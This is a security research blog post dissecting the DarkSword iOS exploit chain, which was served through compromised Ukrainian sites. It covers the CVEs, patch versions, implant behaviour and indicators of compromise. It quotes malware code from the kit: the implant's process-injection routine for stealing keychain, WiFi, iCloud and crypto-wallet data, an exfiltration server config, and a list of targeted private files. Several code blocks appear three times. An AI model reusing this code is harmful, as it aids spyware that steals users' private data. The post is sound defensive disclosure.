Blog

Inside DarkSword: A New iOS Exploit Kit Delivered Via Compromised Legitimate Websites

Matthias Frielingsdorf and Mateusz Krzywicki

Shortly after our publication on the Coruna exploit kit, a collaborating researcher at Lookout flagged a suspicious-looking URL possibly related to the threat actor from Russia linked with Coruna. The URL immediately drew our attention because its path concluded with /rce_module.js. We quickly established that /rce_module.js contained relative offsets for shared cache for various iPhone models (from iPhone Xs to iPhone 16) and iOS versions (between iOS 18.4 and 18.5) that were not affected by Coruna exploits. The JavaScript code was not obfuscated and featured original variable names and comments left by the exploit authors, consistent with the typical structure of Safari exploits leveraging JIT vulnerabilities.

We determined that /rce_module.js is just a part of a bigger framework and suggested that more exploits might be found where it originated. Following this lead, we tracked the URL to two Ukrainian websites hosting a malicious iframe that served as the first stage of the attack. Upon navigation to a malicious website on an iPhone with a vulnerable iOS version (18.4 - 18.6.2) and IP address from Ukraine we triggered the execution of the exploit. This is a scenario of a waterhole attack

Our team successfully recovered a complete 1-click exploit kit with additional Safari exploit, sandbox escape, privilege escalation, and in-memory implants designed to exfiltrate sensitive data from compromised phones. The exploits specifically targeted devices running iOS versions from 18.4 through 18.6.2. The exploit that we found only had config data for iOS 18.4 - 18.6.2, and Apple gradually addressed the underlying bugs and techniques it leveraged in security patches in iOS 26.1, iOS 26.2, and iOS 26.3. While we have no evidence that these bugs and techniques were used in other exploits targeting iOS 26+ devices, we cannot rule out that possibility.

Initially, remote servers failed to fully infect our test phones due to poor exploit deployment. However, after creating a local deployment server using the captured exploit modules, we successfully achieved device infection.

What we’ve found and are reporting here is another watering hole attack targeting iPhone devices, discovered just two weeks after our Coruna / CryptoWaters investigation. This attack utilized infrastructure linked to the same threat actor that Google observed Coruna using against Ukrainians. We shared our findings with Google, whose Threat Intelligence team was already aware of the exploit chain and had already reported it to Apple. DarkSword has been observed by Google to be utilized by various threat actors, targeting entities in Ukraine, as well as in Saudi Arabia, Turkey, and Malaysia. In these cases Google has also observed that the exploits had config data for iOS 18.7. For Google's analysis, click here, and for Lookout's blog post, click here.

The name DarkSword comes from the variable inside implant code that extracts WiFi passwords from the system: const TAG = "DarkSword-WIFI-DUMP";

Overview of the chain

The exploit chain was delivered through the domains novosti[.]dn[.]ua and 7aac[.]gov[.]ua, both of which had embedded script from https://static[.]cdncounter[.]net:

<script async src="https://static[.]cdncounter[.]net/widgets.js?uhfiu27fajf2948fjfefaa42"></script>
<script async src="https://static[.]cdncounter[.]net/widgets.js?uhfiu27fajf2948fjfefaa42"></script>
<script async src="https://static[.]cdncounter[.]net/widgets.js?uhfiu27fajf2948fjfefaa42"></script>

/widget.js script created an invisible iframe fetching code from another file in the same domain. After several intermediary redirections, the script ultimately loaded https://static[.]cdncounter[.]net/assets/rce_loader.js, which served as the entry point for the exploit chain.

The /rce_loader.js script attempted to load /rce_worker_18.6.js and /rce_module_18.6.js, which contained offsets and a JavaScript exploit targeting iOS versions 18.6 - 18.6.2. If the device was running a different iOS version, the loader fell back to /rce_worker_18.4.js and /rce_module.js as a default.

In the next stage, the attackers deployed two sandbox escape components, /sbx0_main_18.4.js and /sbx1_main.js. Successful execution of these stages resulted in code execution within the mediaplaybackd daemon. The final stage loaded is /pe_main.js, which is also injected into mediaplaybackd and performs the kernel privilege escalation. This component also deployed multiple in-memory implants across several processes to collect and exfiltrate sensitive data from the device.

The entire chain is built in JavaScript and does not contain any traditional binary implant or mach-o library which would be injected into other processes. Exploits and injected JavaScript implants do not contain a persistence mechanism. Attack is disengaged after successful data extraction. We will detail the implant behavior in further parts of this blog post. 

Infrastructure Insights and Targeting

Both entry URLs (novosti[.]dn[.]ua and 7aac[.]gov[.]ua) serving the exploit were hosted in Ukraine. We suspect that a web server or web application on those hosts had been compromised to deliver the exploit code. The malicious code was loaded through an iframe embedded in /index.html, which pointed to https://static[.]cdncounter[.]net/widget.js. The /widget.js script then created an invisible iframe that loaded the exploit directly from an infrastructure server hosted in Estonia (https://static[.]cdncounter[.]net/).

Early stages of the exploit assets/index.html and /widget.js from https://static[.]cdncounter[.]net/ contained comments written in Russian:

// если uid всё ещё нужен — просто устанавливаем
sessionStorage.setItem('uid', '1');
// важно для Safari
  iframe.setAttribute(
    "sandbox",
    "allow-scripts allow-same-origin"
  );
// если uid всё ещё нужен — просто устанавливаем
sessionStorage.setItem('uid', '1');
// важно для Safari
  iframe.setAttribute(
    "sandbox",
    "allow-scripts allow-same-origin"
  );
// если uid всё ещё нужен — просто устанавливаем
sessionStorage.setItem('uid', '1');
// важно для Safari
  iframe.setAttribute(
    "sandbox",
    "allow-scripts allow-same-origin"
  );

A server in Estonia hosting exploits was accessible from anywhere, but only delivered exploits to IP addresses coming from Ukraine. Given information from the NGINX server that hosted the exploits, they were last modified on December 23, 2025.

All further stages of the exploit chain contained comments written in English:

the_oob_object.splice(30,0,1,2,3,4,5,6,7);
//now we should have a victim with a nice length.
the_oob_object.splice(30,0,1,2,3,4,5,6,7);
//now we should have a victim with a nice length.
the_oob_object.splice(30,0,1,2,3,4,5,6,7);
//now we should have a victim with a nice length.

The entire chain is not obfuscated and contains verbose logging and commentary on how to use exploits and implants.

Exploit author’s debugging functionality was also left in the code without references. For example, this is a function to hexdump kernel memory using arbitrary kernel memory read/write primitive:

function kdump(where, size, msg = "") {
    LOG(`[+] ----------- ${msg} ----------`);
    for (let i = 0n; i < size; i += 0x10n) {
      LOG(`[+] [${i.hex()}] ${(where + i).hex()}:\t${early_kread64(where + i).hex()} ${early_kread64(where + i + 8n).hex()}`);
    }
  }
function kdump(where, size, msg = "") {
    LOG(`[+] ----------- ${msg} ----------`);
    for (let i = 0n; i < size; i += 0x10n) {
      LOG(`[+] [${i.hex()}] ${(where + i).hex()}:\t${early_kread64(where + i).hex()} ${early_kread64(where + i + 8n).hex()}`);
    }
  }
function kdump(where, size, msg = "") {
    LOG(`[+] ----------- ${msg} ----------`);
    for (let i = 0n; i < size; i += 0x10n) {
      LOG(`[+] [${i.hex()}] ${(where + i).hex()}:\t${early_kread64(where + i).hex()} ${early_kread64(where + i + 8n).hex()}`);
    }
  }

We haven’t observed any further protection or targeting measures used by the operator of this kit.

Methodology

Similar to our Coruna investigation we wanted to combine static and dynamic analysis to analyze the attack. So once again we hooked up a couple of devices to a network proxy, used a VPN with an egress point in Ukraine and attempted to infect our devices.

We initially only had iPhones running iOS 18.4. and iOS 18.5 to test the infection. Unfortunately, we were not able to get past the RCE or Sandbox Escape/LPE stages of the exploit. As we did not have access to an iPhone running iOS version 18.6.x, or possess a Security Research Device (SRD) that would allow us to downgrade to earlier iOS versions. Thinking it’s the mismatch between supported iPhone model and iOS version we acquired a bunch of second-hand iPhones on iOS versions 18.6.x. With the devices on iOS 18.6.2 we finally saw that the exploit loaded the final stage /pe_main.js from the attacker's infrastructure.

Initial attempts to test the exploits from the remote servers proved highly unreliable, frequently causing crashes and kernel panics due to repeated re-exploitation attempts. This necessitated multiple device restarts and clearing the WebKit cache. We later identified that the exploits targeted vulnerabilities within the GPU process. The GPU process's handling of the original website content, such as video processing, was found to influence the exploitation reliability. As a result, we transitioned to hosting the exploits locally, which provided the added benefit of higher reliability and greater control, particularly concerning potential data exfiltration.

As the two iPhones we infected were running on iOS 18.6.2, we were not able to capture a full file system dump (there is not a jailbreak available for these devices). We captured following forensic data:

- Sysdiagnose(s)
- Unified Logs
- Crashes
- Encrypted Backups

Please see the end of this blog post for IOCs.

Exploited Vulnerabilities and Patched iOS Versions

The attackers begin by exploiting JavaScriptCore JIT vulnerabilities in the Safari renderer process to achieve remote code execution. Two different bugs are used depending on the target version: a JIT RegExp match vulnerability leading to type confusion affecting iOS 18.4 - 18.5 and a JIT StoreBarrierInsertionPhase vulnerability leading to use-after-free and type confusion affecting iOS 18.6 - 18.6.2. Once arbitrary memory read/write primitives are obtained, the attackers bypass Trusted Path Read-Only (TPRO) and Pointer Authentication Codes (PAC) mitigations by abusing sensitive internal dyld structures located in writable (unprotected) stack memory. This allows them to fully sidestep the SPRR and JIT Cage mitigations via thread state manipulation and achieve arbitrary code execution within the WebContent process.

With code execution established in the WebContent process, the attackers pivot to escape the sandbox via the GPU process. They exploit an out-of-bounds write vulnerability in ANGLE, combined with the same PAC bypass technique, to obtain arbitrary memory read/write and arbitrary function call primitives in the GPU process.

From the GPU process, the attackers target the XNU kernel through selector 1 in the AppleM2ScalerCSCDriver driver, triggering a Copy-On-Write vulnerability. This flaw is leveraged to establish arbitrary memory read/write and arbitrary function call primitives in the mediaplaybackd daemon via exposed XPC interfaces.

Finally, with arbitrary read/write and arbitrary function call capabilities inside mediaplaybackd, the attackers load the JavaScriptCore framework into the daemon and execute injected JavaScript code. This stage performs the final kernel privilege escalation (/pe_main.js) to achieve arbitrary memory read/write primitives in the kernel and injects in-memory JavaScript implants into other system processes on iOS to extract sensitive data from the device.

Chain

Component

CVE

Patched In

ITW?

Also Patched in:

Release Date / Added

Fix artifact

18.4

Safari - WebContent process JIT RegExp match vulnerability leading to arbitrary memory read/write primitive

CVE-2025-31277

18.6

No


29.07.2025

https://github.com/WebKit/WebKit/commit/716536ce98d6f8d40c44abed667b6a1970023e17

18.6

Safari - WebContent process JIT use-after-free vulnerability leading to arbitrary memory read/write primitive

CVE-2025-43529 

26.2

Yes

18.7.3

12.12.2025

https://github.com/WebKit/WebKit/commit/b21a503b579a8ab14c839f82cc77176e507352e5

18.6

TPRO and PAC bypass (re-used for other usermode components) leading to arbitrary code execution.

CVE-2026-20700

26.3

Yes


11.02.2026

https://github.com/apple-oss-distributions/dyld/commit/9b3c6bde0c6d1cb4a13ce7646aed6f74597bcc84

18.6

Safari WebContent process -> Safari GPU process sandbox escape code execution via Angle out-of-bounds write vulnerability.

CVE-2025-14174

26.2

Yes

18.7.3

12.12.2025

https://chromium-review.googlesource.com/c/angle/angle/+/7232784

18.6

GPU process -> mediaplaybackd process sandbox escape via kernel CopyOnWrite issue via selector 1 in AppleM2ScalerCSCDriver

CVE-2025-43510

26.1

No

18.7.2

12.12.2025

N/A

18.6

Kernel Privilege Escalation Vulnerability

CVE-2025-43520

26.1

No

18.7.2

12.12.2025

N/A

All components in the attack chain had previously received patches. Specifically, both kernel components were patched in iOS 26.1. However, the CVEs for these components were not added to the advisories until the same day that patches for the Safari RCE were released. Despite all vulnerabilities being exploited in the same attack, only the RCEs were officially designated as "exploited in the wild."

Drawing on mobile phone market analysis from https://gs.statcounter.com/ios-version-market-share/ and https://www.apptunix.com/blog/apple-app-store-statistics/, we estimate that the DarkSword exploit chain still impacts a significant portion of iPhone users. Specifically, 14.2% of users (approximately 221,520,000 devices) running iOS versions between 18.4 and 18.6.2 are believed to be vulnerable.

The blast radius of the vulnerabilities and exploits remains uncertain at this stage of the investigation. The number of affected devices could be significantly higher, depending on whether the vulnerabilities used in the DarkSword exploit can be leveraged against devices running iOS versions below 18.4 and above 26.x (specifically for local privilege escalation). Based on the assumption that all iOS 18 versions are susceptible to the majority of the vulnerabilities in this chain, approximately 17.3% of users (270,000,000) may be affected, according to data available at https://telemetrydeck.com/survey/apple/iOS/majorSystemVersions/. We reduced the number to account for the iOS 18.7.x versions that already had fixes.

We urge everyone to update to the latest available iOS version that contains fixes for all vulnerabilities used in this exploit. At the time of this publication it is: 26.3.1, 18.7.6.

Implant Behavior

The implant starts from the /pe_main.js function after the privilege escalation is done. Here is the shortened start() function that shows the responsible agent behavior. 
 

const TAG = "MAIN";
//const targetProcess = "bluetoothd";
const targetProcess = "SpringBoard";
function start() {
    let mutexPtr = null;
    let migFilterBypass = null;
    globalThis.xnuVersion = xnuVersion();
    let ver = globalThis.xnuVersion;
    // If iOS >= 18.4 we apply migbypass in order to bypass autobox restrictions
    if (ver.major == 24 && ver.minor >= 4) {
        mutexPtr = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("malloc", 0x100));        libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("pthread_mutex_init", mutexPtr, null);
        migFilterBypass = new MigFilterBypass(mutexPtr);
    }
    let driver = new libs_Driver_Driver__WEBPACK_IMPORTED_MODULE_7__["default"]();
    libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].init(driver, mutexPtr);
    let resultPE = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].runPE();
    if (!resultPE)
        return;
    libs_TaskRop_TaskRop__WEBPACK_IMPORTED_MODULE_2__["default"].init();
    if(migFilterBypass)
        migFilterBypass.start();
    let launchdTask = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__["default"]("launchd",migFilterBypass);
    if (!launchdTask.success()) {
        return false;
    }    libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].initWithLaunchdTask(launchdTask); libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].deleteCrashReports();    libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].createTokens();
    let agentLoader = new InjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](targetProcess, _raw_loader_loader_js__WEBPACK_IMPORTED_MODULE_10__["default"], migFilterBypass);
    let agentPid = 0;
    if (agentLoader.inject()) {
        agentPid = agentLoader.task.pid(); libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(agentLoader.task);
        libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].adjustMemoryPressure(targetProcess);
        agentLoader.destroy();
    }
    // Inject keychain copier FIRST into securityd (has access to keychain files)
    // This copies keychain/keybag to /tmp with 777 permissions
    const keychainProcess = "configd";
    let keychainCopier = new InjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](keychainProcess, _raw_loader_keychain_copier_js__WEBPACK_IMPORTED_MODULE_12__["default"], migFilterBypass);
    if (keychainCopier.inject()) {
        libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(keychainCopier.task);
        keychainCopier.destroy();
    } else {
    }
    // Inject WiFi password dump into wifid (has keychain access for WiFi)
    // Using wifid instead of wifianalyticsd - wifid is always active
    const wifidProcess = "wifid";
    let wifiDump = new InjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](wifidProcess, _raw_loader_wifi_password_dump_js__WEBPACK_IMPORTED_MODULE_13__["default"], migFilterBypass);
    if (wifiDump.inject()) {
        libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(wifiDump.task);
        wifiDump.destroy();
    } else {
    }
    // Also inject WiFi password dump into securityd (fallback for devices where wifid fails)
    const securitydProcess = "securityd";
    let wifiDumpSecurityd = new InjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](securitydProcess, _raw_loader_wifi_password_securityd_js__WEBPACK_IMPORTED_MODULE_14__["default"], migFilterBypass);
    if (wifiDumpSecurityd.inject()) {
        libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(wifiDumpSecurityd.task);
        wifiDumpSecurityd.destroy();
    } else {
    }
    // Inject iCloud dumper into UserEventAgent (has access to iCloud Drive files)
    const userEventAgentProcess = "UserEventAgent";
    let iCloudDumper = new InjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](userEventAgentProcess, _raw_loader_icloud_dumper_js__WEBPACK_IMPORTED_MODULE_15__["default"], migFilterBypass);
    if (iCloudDumper.inject()) {   libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(iCloudDumper.task);
        iCloudDumper.destroy();
    } else {
    }
    // Wait for all dumps to finish
    for (let i = 1; i <= 5; i++) {   libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("sleep", 1);
    }
    // Inject forensics file downloader AFTER keychain copier
    // This will send the copied keychain files from /tmp
    try {
        let fileDownloader = new InjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](targetProcess, _raw_loader_file_downloader_js__WEBPACK_IMPORTED_MODULE_11__["default"], migFilterBypass);
        if (fileDownloader.inject()) {       libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(fileDownloader.task);
            fileDownloader.destroy();
        }
    } catch (injectError) {
        // Error handling without logging
    }
    launchdTask.destroy();
    return true;
}
const TAG = "MAIN";
//const targetProcess = "bluetoothd";
const targetProcess = "SpringBoard";
function start() {
    let mutexPtr = null;
    let migFilterBypass = null;
    globalThis.xnuVersion = xnuVersion();
    let ver = globalThis.xnuVersion;
    // If iOS >= 18.4 we apply migbypass in order to bypass autobox restrictions
    if (ver.major == 24 && ver.minor >= 4) {
        mutexPtr = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("malloc", 0x100));        libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("pthread_mutex_init", mutexPtr, null);
        migFilterBypass = new MigFilterBypass(mutexPtr);
    }
    let driver = new libs_Driver_Driver__WEBPACK_IMPORTED_MODULE_7__["default"]();
    libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].init(driver, mutexPtr);
    let resultPE = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].runPE();
    if (!resultPE)
        return;
    libs_TaskRop_TaskRop__WEBPACK_IMPORTED_MODULE_2__["default"].init();
    if(migFilterBypass)
        migFilterBypass.start();
    let launchdTask = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__["default"]("launchd",migFilterBypass);
    if (!launchdTask.success()) {
        return false;
    }    libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].initWithLaunchdTask(launchdTask); libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].deleteCrashReports();    libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].createTokens();
    let agentLoader = new InjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](targetProcess, _raw_loader_loader_js__WEBPACK_IMPORTED_MODULE_10__["default"], migFilterBypass);
    let agentPid = 0;
    if (agentLoader.inject()) {
        agentPid = agentLoader.task.pid(); libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(agentLoader.task);
        libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].adjustMemoryPressure(targetProcess);
        agentLoader.destroy();
    }
    // Inject keychain copier FIRST into securityd (has access to keychain files)
    // This copies keychain/keybag to /tmp with 777 permissions
    const keychainProcess = "configd";
    let keychainCopier = new InjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](keychainProcess, _raw_loader_keychain_copier_js__WEBPACK_IMPORTED_MODULE_12__["default"], migFilterBypass);
    if (keychainCopier.inject()) {
        libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(keychainCopier.task);
        keychainCopier.destroy();
    } else {
    }
    // Inject WiFi password dump into wifid (has keychain access for WiFi)
    // Using wifid instead of wifianalyticsd - wifid is always active
    const wifidProcess = "wifid";
    let wifiDump = new InjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](wifidProcess, _raw_loader_wifi_password_dump_js__WEBPACK_IMPORTED_MODULE_13__["default"], migFilterBypass);
    if (wifiDump.inject()) {
        libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(wifiDump.task);
        wifiDump.destroy();
    } else {
    }
    // Also inject WiFi password dump into securityd (fallback for devices where wifid fails)
    const securitydProcess = "securityd";
    let wifiDumpSecurityd = new InjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](securitydProcess, _raw_loader_wifi_password_securityd_js__WEBPACK_IMPORTED_MODULE_14__["default"], migFilterBypass);
    if (wifiDumpSecurityd.inject()) {
        libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(wifiDumpSecurityd.task);
        wifiDumpSecurityd.destroy();
    } else {
    }
    // Inject iCloud dumper into UserEventAgent (has access to iCloud Drive files)
    const userEventAgentProcess = "UserEventAgent";
    let iCloudDumper = new InjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](userEventAgentProcess, _raw_loader_icloud_dumper_js__WEBPACK_IMPORTED_MODULE_15__["default"], migFilterBypass);
    if (iCloudDumper.inject()) {   libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(iCloudDumper.task);
        iCloudDumper.destroy();
    } else {
    }
    // Wait for all dumps to finish
    for (let i = 1; i <= 5; i++) {   libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("sleep", 1);
    }
    // Inject forensics file downloader AFTER keychain copier
    // This will send the copied keychain files from /tmp
    try {
        let fileDownloader = new InjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](targetProcess, _raw_loader_file_downloader_js__WEBPACK_IMPORTED_MODULE_11__["default"], migFilterBypass);
        if (fileDownloader.inject()) {       libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(fileDownloader.task);
            fileDownloader.destroy();
        }
    } catch (injectError) {
        // Error handling without logging
    }
    launchdTask.destroy();
    return true;
}
const TAG = "MAIN";
//const targetProcess = "bluetoothd";
const targetProcess = "SpringBoard";
function start() {
    let mutexPtr = null;
    let migFilterBypass = null;
    globalThis.xnuVersion = xnuVersion();
    let ver = globalThis.xnuVersion;
    // If iOS >= 18.4 we apply migbypass in order to bypass autobox restrictions
    if (ver.major == 24 && ver.minor >= 4) {
        mutexPtr = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("malloc", 0x100));        libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("pthread_mutex_init", mutexPtr, null);
        migFilterBypass = new MigFilterBypass(mutexPtr);
    }
    let driver = new libs_Driver_Driver__WEBPACK_IMPORTED_MODULE_7__["default"]();
    libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].init(driver, mutexPtr);
    let resultPE = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].runPE();
    if (!resultPE)
        return;
    libs_TaskRop_TaskRop__WEBPACK_IMPORTED_MODULE_2__["default"].init();
    if(migFilterBypass)
        migFilterBypass.start();
    let launchdTask = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__["default"]("launchd",migFilterBypass);
    if (!launchdTask.success()) {
        return false;
    }    libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].initWithLaunchdTask(launchdTask); libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].deleteCrashReports();    libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].createTokens();
    let agentLoader = new InjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](targetProcess, _raw_loader_loader_js__WEBPACK_IMPORTED_MODULE_10__["default"], migFilterBypass);
    let agentPid = 0;
    if (agentLoader.inject()) {
        agentPid = agentLoader.task.pid(); libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(agentLoader.task);
        libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].adjustMemoryPressure(targetProcess);
        agentLoader.destroy();
    }
    // Inject keychain copier FIRST into securityd (has access to keychain files)
    // This copies keychain/keybag to /tmp with 777 permissions
    const keychainProcess = "configd";
    let keychainCopier = new InjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](keychainProcess, _raw_loader_keychain_copier_js__WEBPACK_IMPORTED_MODULE_12__["default"], migFilterBypass);
    if (keychainCopier.inject()) {
        libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(keychainCopier.task);
        keychainCopier.destroy();
    } else {
    }
    // Inject WiFi password dump into wifid (has keychain access for WiFi)
    // Using wifid instead of wifianalyticsd - wifid is always active
    const wifidProcess = "wifid";
    let wifiDump = new InjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](wifidProcess, _raw_loader_wifi_password_dump_js__WEBPACK_IMPORTED_MODULE_13__["default"], migFilterBypass);
    if (wifiDump.inject()) {
        libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(wifiDump.task);
        wifiDump.destroy();
    } else {
    }
    // Also inject WiFi password dump into securityd (fallback for devices where wifid fails)
    const securitydProcess = "securityd";
    let wifiDumpSecurityd = new InjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](securitydProcess, _raw_loader_wifi_password_securityd_js__WEBPACK_IMPORTED_MODULE_14__["default"], migFilterBypass);
    if (wifiDumpSecurityd.inject()) {
        libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(wifiDumpSecurityd.task);
        wifiDumpSecurityd.destroy();
    } else {
    }
    // Inject iCloud dumper into UserEventAgent (has access to iCloud Drive files)
    const userEventAgentProcess = "UserEventAgent";
    let iCloudDumper = new InjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](userEventAgentProcess, _raw_loader_icloud_dumper_js__WEBPACK_IMPORTED_MODULE_15__["default"], migFilterBypass);
    if (iCloudDumper.inject()) {   libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(iCloudDumper.task);
        iCloudDumper.destroy();
    } else {
    }
    // Wait for all dumps to finish
    for (let i = 1; i <= 5; i++) {   libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("sleep", 1);
    }
    // Inject forensics file downloader AFTER keychain copier
    // This will send the copied keychain files from /tmp
    try {
        let fileDownloader = new InjectJS_WEBPACK_IMPORTED_MODULE_6__["default"](targetProcess, _raw_loader_file_downloader_js__WEBPACK_IMPORTED_MODULE_11__["default"], migFilterBypass);
        if (fileDownloader.inject()) {       libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(fileDownloader.task);
            fileDownloader.destroy();
        }
    } catch (injectError) {
        // Error handling without logging
    }
    launchdTask.destroy();
    return true;
}

As seen above the implant contained various comments and documentation on how to use and deploy it. Another example is the config used for data exfiltration below:

// Server configuration - modify as needed
const SERVER_HOST = "sqwas[.]shapelie[.]com";
const HTTP_PORT = 8882;
const HTTPS_PORT = 8881;
const UPLOAD_PATH = "/stats";
// Server configuration - modify as needed
const SERVER_HOST = "sqwas[.]shapelie[.]com";
const HTTP_PORT = 8882;
const HTTPS_PORT = 8881;
const UPLOAD_PATH = "/stats";
// Server configuration - modify as needed
const SERVER_HOST = "sqwas[.]shapelie[.]com";
const HTTP_PORT = 8882;
const HTTPS_PORT = 8881;
const UPLOAD_PATH = "/stats";

It also contained left over debugging functionality or functionality which was commented out.

   // Log passwords to syslog
   for (const p of passwords) {
   }
    /*
	if (passwords.length > 0) {
		let sent = sendWiFiPasswordsViaHTTPS(passwords);
		if (sent) {
		} else {
			sent = sendWiFiPasswordsViaHTTP(passwords);
			if (sent) {
			} else {
			}
		}
	}
    */
   // Log passwords to syslog
   for (const p of passwords) {
   }
    /*
	if (passwords.length > 0) {
		let sent = sendWiFiPasswordsViaHTTPS(passwords);
		if (sent) {
		} else {
			sent = sendWiFiPasswordsViaHTTP(passwords);
			if (sent) {
			} else {
			}
		}
	}
    */
   // Log passwords to syslog
   for (const p of passwords) {
   }
    /*
	if (passwords.length > 0) {
		let sent = sendWiFiPasswordsViaHTTPS(passwords);
		if (sent) {
		} else {
			sent = sendWiFiPasswordsViaHTTP(passwords);
			if (sent) {
			} else {
			}
		}
	}
    */

The initial modules focus on extracting passwords from the Keychain. The file downloader component is designed to upload these extracted files, along with a significant amount of other system data. Following data exfiltration, the process concludes with a file cleanup operation.

Crypto currency wallet exfiltration

Implant is locating wallet files from crypto currency applications. It’s scanning for all crypto related applications and using heuristics to find data to exfiltrate.

Wallet type

Search terms

Major Wallets

"coinbase", "binance", "nicegram"

Hardware Wallet Apps

"ledger", "trezor"

Multi-chain Wallets

"trust", "trustwallet", "metamask", "exodus", "exodus-movement", "atomic", "crypto.com"

Bitcoin Wallets

"electrum", "blockstream", "green", "breadwallet", "brd", "mycelium", "samourai", "bluewallet", "wasabi"

Ethereum Wallets

"imtoken", "zerion", "rainbow", "uniswap", "argent", "etherscan"

Solana Wallets

"phantom", "solflare", "solana"

TON Wallets

"tonkeeper", "tonwallet", "mytonwallet", "ton"

Other Chain Wallets

"terra", "keplr", "cosmos", "avalanche", "avax", "algorand", "xdefi", "polkadot", "cardano", "yoroi", "daedalus"

Exchange Apps

"kraken", "gemini", "bitfinex", "kucoin", "okx", "okex", "huobi", "htx", "gate.io", "gateio", "bybit", "bitget", "mexc", "crypto"

DeFi/Web3 Apps

"1inch", "safepal", "tokenpocket", "bitpay", "gnosis", "safe", "defi", "swap", "dex"

General crypto terms

"wallet", "bitcoin", "btc", "ethereum", "eth", "crypto", "blockchain", "web3", "nft"

Exfiltration of private data

The file_downloader implant contains a variable FORENSIC_FILES that provides information on all the additional files which are uploaded to the attacker's infrastructure by the malware. This also nicely tells us which data categories were targeted. A full list can be found in the table below.

const FORENSIC_FILES = [
   // Communications
   { path: "/private/var/mobile/Library/SMS/sms.db", category: "communications", description: "SMS/iMessage database" },
   { path: "/private/var/mobile/Library/CallHistoryDB/CallHistory.storedata", category: "communications", description: "Call history" },
   { path: "/private/var/mobile/Library/AddressBook/AddressBook.sqlitedb", category: "communications", description: "Contacts database" },
 ]
const FORENSIC_FILES = [
   // Communications
   { path: "/private/var/mobile/Library/SMS/sms.db", category: "communications", description: "SMS/iMessage database" },
